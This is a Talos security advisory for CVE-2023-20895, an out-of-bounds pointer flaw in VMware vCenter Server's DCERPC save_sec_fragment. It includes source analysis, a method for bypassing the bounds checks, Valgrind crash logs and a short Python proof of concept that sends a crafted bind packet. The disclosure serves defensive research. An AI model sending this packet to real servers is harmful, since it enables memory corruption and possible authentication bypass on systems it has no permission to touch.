Talos Vulnerability Report

TALOS-2023-1740

VMware vCenter Server DCERPC save_sec_fragment out-of-bounds pointer vulnerability

July 13, 2023
CVE Number

CVE-2023-20895

SUMMARY

A memory corruption vulnerability with a potential for authentication bypass exists in the DCERPC service as used by VMware vCenter Server 8.0.0.10200. A specially crafted network packet can lead to out-of-bounds memory access, which can lead to further memory corruption. An attacker can send a malicious packet to trigger this vulnerability.

CONFIRMED VULNERABLE VERSIONS

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

VMware vCenter Server 8.0.0.10200

PRODUCT URLS

vCenter Server - https://www.vmware.com/products/vcenter-server.html

CVSSv3 SCORE

8.1 - CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-823 - Use of Out-of-range Pointer Offset

DETAILS

VMware vCenter Server is a platform that enables centralized control and monitoring over all virtual machines and EXSi hypervisors included in vSphere.

The DCERPC library exposes the do_assoc_wait_action_rtn() to clients performing RPC requests parsing packets received from the network or a local UNIX socket. The packet header has the following type signature:

typedef struct
{
    unsigned8  rpc_vers;               /* 00:01 RPC version - major */
    unsigned8  rpc_vers_minor;         /* 01:01 RPC version - minor */
    unsigned8  ptype;                  /* 02:01 packet type */
    unsigned8  flags;                  /* 03:01 flags */
    unsigned8  drep[4];                /* 04:04 ndr format */ 
    unsigned16 frag_len;               /* 08:02 fragment length */
    unsigned16 auth_len;               /* 10:02 authentication length */
    unsigned32 call_id;                /* 12:04 call identifier */
} rpc_cn_common_hdr_t, *rpc_cn_common_hdr_p_t;

At [1] below we see req_header pointing to data packet received.

INTERNAL unsigned32     do_assoc_wait_action_rtn
(
  pointer_t       spc_struct,
  pointer_t       event_param,
  pointer_t       sm
)
{
    ...
    req_header = (rpc_cn_packet_t *) ((rpc_cn_fragbuf_t *)event_param)->data_p;      [1]

    /*
     * Save the security frament in the association reconstruction buffer
     */
    status = save_sec_fragment(assoc, req_header);                                   [2]
    ...
}

The pointer is then passed to the save_sec_fragment() function at [2] above, parsing the header data.

INTERNAL unsigned32 save_sec_fragment(rpc_cn_assoc_p_t assoc,
                                rpc_cn_packet_p_t header)

{
    ...
    auth_buffer = assoc->security.auth_buffer_info.auth_buffer;                        [3]
    ...
    auth_tlr = RPC_CN_PKT_AUTH_TLR(header, RPC_CN_PKT_FRAG_LEN (header));              [4]
    auth_value = (rpc_cn_bind_auth_value_priv_t *)auth_tlr->auth_value;                [5]
    ...
    auth_value_len = RPC_CN_PKT_AUTH_LEN (header) - auth_value->checksum_length;
    ...
    if (auth_buffer_len == 0)
    {
        ...
        memcpy(auth_buffer, auth_value, auth_value_len);                               [6]
    }
    ...
}

At [4] the RPC_CN_PKT_FRAG_LEN() and RPC_CN_PKT_AUTH_TLR() macros are used to get the frag_len and auth_len offsets respectively from the header received data. These offsets are then added to the header pointer to calculate auth_tlr. In the relevant macros we see:

#define RPC_CN_PKT_AUTH_TLR_PRESENT(pkt_p) (RPC_CN_PKT_AUTH_LEN(pkt_p) != 0)
...
#define RPC_CN_PKT_AUTH_TLR_LEN(pkt_p) \
    (RPC_CN_PKT_AUTH_TLR_PRESENT(pkt_p) ? (RPC_CN_PKT_AUTH_LEN(pkt_p)  +\
                                       RPC_CN_PKT_SIZEOF_COM_AUTH_TLR) : 0)
... 
 #define RPC_CN_PKT_SIZEOF_COM_AUTH_TLR  8
...
#define RPC_CN_PKT_AUTH_TLR(pkt_p, pkt_len)\
    (rpc_cn_auth_tlr_t *) ((unsigned_char_p_t)(pkt_p) + pkt_len - RPC_CN_PKT_AUTH_TLR_LEN(pkt_p))
...
#define RPC_CN_PKT_FRAG_LEN(pkt_p)        (RPC_CN_HDR_BIND(pkt_p).hdr.common_hdr.frag_len)
#define RPC_CN_PKT_AUTH_LEN(pkt_p)        (RPC_CN_HDR_BIND(pkt_p).hdr.common_hdr.auth_len)

Simplifying the calculation from the macros and the offsets above, auth_tlr is calculated as follows:

auth_tlr = header + frag_len - (auth_len + 8)

Since no checks are performed regarding frag_len and auth_len, an attacker is able to arbitrarily set the pointer auth_tlr beyond the limits of the buffer, or rather point before the buffer. This allows an attacker to reuse memory that resides in the address space of the application and will be interpreted as an authentication trailer object.

At [5] above the library reads an auth_value from the attacker controlled auth_tlr pointer. This auth_value is then used at [6] and copied to auth_buffer. From [3] we see that it is a pointer of the assoc object. Effectively, an attacker can control the source pointer of the memcpy() call, making assoc->security.auth_buffer_info.auth_buffer contain data from other parts of memory.

In do_assoc_req_action_rtn(), accessible to clients with an RPC request, rpc__cn_assoc_process_auth_tlr() is called, where we see assoc->security.auth_buffer_info.auth_buffer used for client authentication.

INTERNAL void rpc__cn_assoc_process_auth_tlr
(
  rpc_cn_assoc_p_t        assoc,
  rpc_cn_packet_p_t       req_header,
  unsigned32              req_header_size,
  rpc_cn_packet_p_t       resp_header,
  unsigned32              *header_size,
  unsigned32              *auth_len,
  rpc_cn_sec_context_p_t  *sec_context,
  boolean                 old_client,
  unsigned32              *st
)
{
    ...
    if (assoc->security.auth_buffer_info.auth_buffer != NULL)
    {
        local_auth_value = (rpc_cn_bind_auth_value_priv_t *)
                            assoc->security.auth_buffer_info.auth_buffer;            [6]
        local_auth_value_len = assoc->security.auth_buffer_info.auth_buffer_len;
        ...
    }
    ...
    RPC_CN_AUTH_VFY_CLIENT_REQ (&assoc->security,                                    [7]
                                sec,
                                (pointer_t)local_auth_value,
                                local_auth_value_len,
                                old_client,
                                &sec->sec_status);
    ...
}

At [6] above the auth_buffer is copied to local_auth_value. At [7] it is passed to the RPC_CN_AUTH_VFY_CLIENT_REQ(), which as we see in the debugger calls rpc__gssauth_cn_vfy_client_req(). This in turn calls gss_accept_sec_context() at [8], an authentication function used in the Kerberos authentication system.

INTERNAL void rpc__gssauth_cn_vfy_client_req
(
        rpc_cn_assoc_sec_context_p_t    assoc_sec,
        rpc_cn_sec_context_p_t          sec,
        pointer_t                       auth_value,
        unsigned32                      auth_value_len,
        unsigned32                      old_client ATTRIBUTE_UNUSED /*TODO*/,
        unsigned32                      *st
)
{
    ...
    gss_rc = gss_accept_sec_context(&minor_status,                             [8]
                                &gssauth_cn_info->gss_ctx,
                                NULL,      /* acceptor_cred_handle */
                                &input_token,
                                NULL,      /* input_chan_bindings */
                                &src_name,
                                NULL,      /* mech_type */
                                &output_token,
                                NULL,      /* ret_flags */
                                NULL,      /* time_rec */
                                NULL);     /* delegated_cred_handle */
    ...
}

Evidently, an attacker with a specially crafted packet could make the library use memory outside the bounds of the original buffer as authentication data. Combined with a proper heap grooming primitive, this could result in authentication bypass.

There are a few significant points for exploitation of this vulnerability. First, the following condition must hold for the client-supplied packet header:

frag_len < auth_len + 8

Consider the code in receive_dispatch():

INTERNAL void receive_dispatch
(
  rpc_cn_assoc_p_t        assoc
)
{
    ...
    auth_len = RPC_CN_PKT_AUTH_LEN (pktp);
    auth_tlr = (rpc_cn_auth_tlr_t *) ((unsigned8 *)(pktp) +
        fragbuf_p->data_size - (auth_len + RPC_CN_PKT_SIZEOF_COM_AUTH_TLR));                    [9]

    if (((unsigned8 *)(auth_tlr) < (unsigned8 *)(pktp)) ||                                     [10]
        ((unsigned8 *)(auth_tlr) > (unsigned8 *)(pktp) + fragbuf_p->data_size) ||
        ((unsigned8 *)(auth_tlr) + auth_len < (unsigned8 *)(pktp)) ||
        ((unsigned8 *)(auth_tlr) + auth_len > (unsigned8 *)(pktp) + fragbuf_p->data_size) )
    {
        ...
        st = rpc_s_protocol_error;
        break;
    }
    ...
}

At [9] the auth_tlr is calculated in a different way than the vulnerable code we saw at [4] above. Here, instead of frag_len (supplied by the client in the payload), fragbuf_p->data_size is used, which is the total number of bytes received from the client with a maximum of 0x1000 bytes. Note that if the client sends a small packet but a large auth_len, the bounds checks at [10] will fail. We can however bypass the checks if we send a large number of bytes in the packet, more than auth_len.

As a concrete example, a client can provide a frag_len value of 0 and an auth_value of 0x900 but send 0x1000 - 0x10 (header size) bytes of zeroes in the socket after the header. fragbuf_p->data_size will hold the number of actual bytes received from the client, 0x1000. Then the auth_tlr will be calculated as follows:

auth_tlr = pktp + 0x1000 (data_size) - (0x900 (auth_len) + 8) = pktp + 0x6f8

At [10] when auth_tlr is checked, if it is inside the packet bounds, all the different checks pass successfully and execution continues.

Another issue appears in rpc__cn_unpack_hdr():

	PRIVATE unsigned32 rpc__cn_unpack_hdr
	(
	    rpc_cn_packet_p_t pkt_p,
	    unsigned32 data_size
	)
	{
			...
		    drepp = RPC_CN_PKT_DREP (pkt_p);
			swap = (NDR_DREP_INT_REP (drepp) != NDR_LOCAL_INT_REP);               [11]
			...
		    if (authenticate && swap) 
		    {
				...
				rpc_authn_protocol_id_t authn_protocol;
				authp = RPC_CN_PKT_AUTH_TLR (pkt_p, RPC_CN_PKT_FRAG_LEN (pkt_p));   [12]
				... 
				SWAB_INPLACE_32(authp->key_id);                                     [13]
				...
    }

At [12] we see a similar vulnerability (reported previously as TALOS-2022-1658). This issue allows for a SWAB_INPLACE_32() operation in a calculated pointer that can reside outside the buffer at [13]. We can skip the code of the previously reported vulnerability if we set the swap to false by setting the drep flag in the packet header to 0x10000000. This allows execution to continue to the vulnerable code in save_sec_fragment().

Crash Information

Testing with Valgrind with

$ valgrind --track-origins=yes /usr/lib/vmware-vmca/sbin/vmcad -L

yields the following error:

==30981== Memcheck, a memory error detector
==30981== Copyright (C) 2002-2017, and GNU GPL'd, by Julian Seward et al.
==30981== Using Valgrind-3.15.0 and LibVEX; rerun with -h for copyright info
==30981== Command: /usr/lib/vmware-vmca/sbin/vmcad -L
==30981==
==30981== Warning: invalid file descriptor -1 in syscall close()
VMCA Server Functional level is VMCA_FUNC_LEVEL_SELF_CA
==30981== Thread 20:
==30981== Invalid read of size 1
==30981==    at 0x5813A0A: save_sec_fragment (cnsassm.c:4122)
==30981==    by 0x5813B2E: do_assoc_wait_action_rtn (cnsassm.c:3370)
==30981==    by 0x5816790: rpc__cn_sm_eval_event (cnsm.c:768)
==30981==    by 0x58171BB: _RPC_CN_ASSOC_EVAL_NETWORK_EVENT (cninline.c:128)
==30981==    by 0x58128A8: receive_dispatch (cnrcvr.c:1241)
==30981==    by 0x58136C2: rpc__cn_network_receiver (cnrcvr.c:342)
==30981==    by 0x57BE27D: proxy_start (dcethread_create.c:100)
==30981==    by 0x7155F86: start_thread (pthread_create.c:486)
==30981==    by 0x726462E: clone (clone.S:95)
==30981==  Address 0x8547265 is 5 bytes inside a block of size 16 free'd
==30981==    at 0x4837D9F: realloc (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
==30981==    by 0x613B695: my_vasprintf (rtlstring_cstring.c:267)
==30981==    by 0x613B695: LwRtlCStringAllocatePrintfV (rtlstring_cstring.c:301)
==30981==    by 0x117F04: VMCAAllocateStringPrintfA (memory.c:153)
==30981==    by 0x11B824: VMCAGetUTCTimeString (string.c:397)
==30981==    by 0x11785A: VMCALog (logging.c:344)
==30981==    by 0x11574C: VmcadChown (fsutils.c:289)
==30981==    by 0x115C15: VmcadRChown (fsutils.c:335)
==30981==    by 0x115DA0: UpdatePathOwnership (fsutils.c:378)
==30981==    by 0x10F032: main (main.c:130)
==30981==  Block was alloc'd at
==30981==    at 0x48357BF: malloc (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
==30981==    by 0x613B622: my_vasprintf (rtlstring_cstring.c:227)
==30981==    by 0x613B622: LwRtlCStringAllocatePrintfV (rtlstring_cstring.c:301)
==30981==    by 0x117F04: VMCAAllocateStringPrintfA (memory.c:153)
==30981==    by 0x11B824: VMCAGetUTCTimeString (string.c:397)
==30981==    by 0x11785A: VMCALog (logging.c:344)
==30981==    by 0x11574C: VmcadChown (fsutils.c:289)
==30981==    by 0x115C15: VmcadRChown (fsutils.c:335)
==30981==    by 0x115DA0: UpdatePathOwnership (fsutils.c:378)
==30981==    by 0x10F032: main (main.c:130)
==30981==
==30981== Invalid read of size 8
==30981==    at 0x483A15F: memcpy@GLIBC_2.2.5 (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
==30981==    by 0x5813A3E: save_sec_fragment (cnsassm.c:4148)
==30981==    by 0x5813B2E: do_assoc_wait_action_rtn (cnsassm.c:3370)
==30981==    by 0x5816790: rpc__cn_sm_eval_event (cnsm.c:768)
==30981==    by 0x58171BB: _RPC_CN_ASSOC_EVAL_NETWORK_EVENT (cninline.c:128)
==30981==    by 0x58128A8: receive_dispatch (cnrcvr.c:1241)
==30981==    by 0x58136C2: rpc__cn_network_receiver (cnrcvr.c:342)
==30981==    by 0x57BE27D: proxy_start (dcethread_create.c:100)
==30981==    by 0x7155F86: start_thread (pthread_create.c:486)
==30981==    by 0x726462E: clone (clone.S:95)
==30981==  Address 0x8547268 is 8 bytes inside a block of size 16 free'd
==30981==    at 0x4837D9F: realloc (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
==30981==    by 0x613B695: my_vasprintf (rtlstring_cstring.c:267)
==30981==    by 0x613B695: LwRtlCStringAllocatePrintfV (rtlstring_cstring.c:301)
==30981==    by 0x117F04: VMCAAllocateStringPrintfA (memory.c:153)
==30981==    by 0x11B824: VMCAGetUTCTimeString (string.c:397)
==30981==    by 0x11785A: VMCALog (logging.c:344)
==30981==    by 0x11574C: VmcadChown (fsutils.c:289)
==30981==    by 0x115C15: VmcadRChown (fsutils.c:335)
==30981==    by 0x115DA0: UpdatePathOwnership (fsutils.c:378)
==30981==    by 0x10F032: main (main.c:130)
==30981==  Block was alloc'd at
==30981==    at 0x48357BF: malloc (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
==30981==    by 0x613B622: my_vasprintf (rtlstring_cstring.c:227)
==30981==    by 0x613B622: LwRtlCStringAllocatePrintfV (rtlstring_cstring.c:301)
==30981==    by 0x117F04: VMCAAllocateStringPrintfA (memory.c:153)
==30981==    by 0x11B824: VMCAGetUTCTimeString (string.c:397)
==30981==    by 0x11785A: VMCALog (logging.c:344)
==30981==    by 0x11574C: VmcadChown (fsutils.c:289)
==30981==    by 0x115C15: VmcadRChown (fsutils.c:335)
==30981==    by 0x115DA0: UpdatePathOwnership (fsutils.c:378)
==30981==    by 0x10F032: main (main.c:130)

Exploit Proof of Concept

    header = bytearray().join([
        struct.pack(">B", 0x05),       # version
        struct.pack(">B", 0x01),       # version minor
        struct.pack(">B", 0x0b),       # ptype
        struct.pack(">B", 0x00),       # flags
        struct.pack(">I", 0x10000000), # ndrep
        struct.pack(">H", 0x0000),     # frag_len
        struct.pack(">H", 0x0009),     # auth_len
        struct.pack(">I", 0x00000000), # call_id
    ])

    zeroes = bytearray().join([struct.pack(">H", 0x0000)*0x1000])

    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((IP, PORT))

    sock.send(header)
    sock.send(zeroes)

In the snippet above we see the ndrep value set to 0x10000000to bypass the previous authentication trailer vulnerability, frag_len, conveniently set to 0 and auth_len to 0x900 since the value is in little-endian. The ptype must be set to 0xb, since we need this to be a RPC_C_CN_PKT_BIND packet.

VENDOR RESPONSE

The vendor provided an advisory and fixes: https://www.vmware.com/security/advisories/VMSA-2023-0014.html

TIMELINE

2023-04-06 - Vendor Disclosure
2023-06-22 - Vendor Patch Release
2023-07-13 - Public Release

Credit

Discovered by Dimitrios Tatsis of Cisco Talos.